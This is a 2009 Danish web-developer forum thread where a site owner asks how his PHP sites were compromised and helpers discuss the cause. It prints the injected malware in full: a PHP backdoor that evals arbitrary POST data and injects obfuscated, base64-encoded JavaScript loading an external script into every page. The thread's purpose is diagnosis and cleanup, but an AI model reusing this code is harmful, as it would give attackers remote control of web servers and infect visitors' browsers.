Avatar billede htmlkoder_dk Nybegynder
01. april 2009 - 20:50 Der er 8 kommentarer og
1 løsning

Hvordan bliver min side hacked?

Hej eksperter!

Nogle af mine hjemmesider er tilsyneladende blevet hacked. Der er tale om www.htmlkoder.dk, www.martinhegelund.dk og www.fars-dreng.dk, som alle er placeret på samme webhotel på 2 forskellige servere.

Der er på hver af dem blevet indskudt en linje PHP-kode i toppen, som vist nok resulterer i noget skadeligt JavaScript. Min webhost siger, at deres sikkerhed skam er i orden og at det er en fejl i min kode, der har gjort det muligt at hacke dem. Jeg synes bare, at det er ret spøjst, at dette kan forekomme og at det netop er på disse 2 webservere. Jeg har adskillige domæner hos denne webhost og andre steder, og det er kun på de 2 servere, jeg er ramt.

Jeg er lidt i vildrede, da jeg ikke har nogen anelse om, hvad problemet kan være. Kan I hjælpe mig med at komme lidt på vej?

Den pågældende PHP-kode er:
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0NGc3NjclhPZ2lVTFFwdCUyME1tNXNYT2dyTW01Y1hPZyUzRCUyRkZzJTJGOTQlMkUyNDdVTFElMkVYT2cyRmolMkVVTFExTW01OVVMUTUlMkZFOWpxdWVGc3JNbTV5RnMlMkViRVZqVUxRc1VMUSUzRUU5JTNDRTklMkZzTW01Y0U5ckU5aUU5cEZzdE1tNSUzRScpLnJlcGxhY2UoL1VMUXxFOXxiRVZ8RnN8WE9nfEZqfE1tNS9nLCIiKSk7CiAtLT48L3NjcmlwdD4='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>

På forhånd mange tak for hjælp!

Mvh,
Martin Møller
www.htmlkoder.dk
Avatar billede arne_v Ekspert
01. april 2009 - 21:09 #1
Nu er det ikke helt klar om ovenstaaende er din kode eller din kode plus hack.

Men:

eval($_POST['tmp_lkojfghx3'])

uden input validering er ihvertfald et sikkerhedshul paa 10 x 10 km.
Avatar billede htmlkoder_dk Nybegynder
01. april 2009 - 21:18 #2
Tak for kommentaren.

Det er dog en del af den indskudte kode.
Avatar billede htmlkoder_dk Nybegynder
01. april 2009 - 21:26 #3
Det skal måske lige understreges, at der ikke er tale om en SQL injection, men derimod erstattes de fysiske filer på serveren. Det er derfor at jeg ikke helt tror på min ellers udmærkede webhost.
Avatar billede arne_v Ekspert
01. april 2009 - 21:43 #4
Hvordan ser koden ud uden hack ?
Avatar billede htmlkoder_dk Nybegynder
01. april 2009 - 21:58 #5
Det er vel lidt underordnet. Koden, der indsættes, er jo uafhængig af alt andet kode og indsættes bare på linje 1 i index.phtml. Så den ovenstående kode har intet med min kode at gøre, men fremstiller bare et JavaScript, der henter en ekstern fil, og så har vi balladen...

Jeg har læst lidt på http://www.dynamicdrive.com/forums/showthread.php?p=191051, hvor én har det samme problem som undertegnede. Kan det passe, at det er min validering af input-data, der er helt hen i skoven?
Avatar billede arne_v Ekspert
01. april 2009 - 22:08 #6
Hvis vi skal finde et hul i din kode, saa skal vi jo vide hvad din kode er.
Avatar billede htmlkoder_dk Nybegynder
01. april 2009 - 22:17 #7
Klart, klart, men det er jo et stort system bestående af omtrent 50 filer, så der er en del at tjekke. ;)

Dog har jeg fundet ud af, at register_globals er aktiveret, hvilket jo er noget skidt. Jeg vil i første omgang forsøge at deaktivere den og se, hvad der sker. Hvis ikke det lykkes, så flytter jeg webhost på de pågældende domæner, da problemet først er kommet nu og jeg tror, at det er deres opsætning og sikkerhed, der er problemet.

Jeg vil meget gerne give dig point for den foreløbige hjælp, så smid du bare et svar... :-)
Avatar billede arne_v Ekspert
01. april 2009 - 22:23 #8
ok
Avatar billede htmlkoder_dk Nybegynder
04. april 2009 - 19:50 #9
Til eventuelle interesserede: Jeg tror, at jeg har fundet ud af problemet nu, eftersom jeg har kunne se et bestemt mønster. Jeg er ret sikker på, at jeg har noget spyware, der får fat i mine passwords til mine FTP-konti. Så hvis du oplever noget lignende, vil jeg kraftigt anbefale følgende procedure:

1) Fra en anden computer skal du ændre samtlige passwords til FTP, databaser og netbanker.
2) Kør et tjek for malware, virus, spyware, trojanske heste osv. og fjern disse.
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Vi tilbyder markedets bedste kurser inden for webudvikling

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester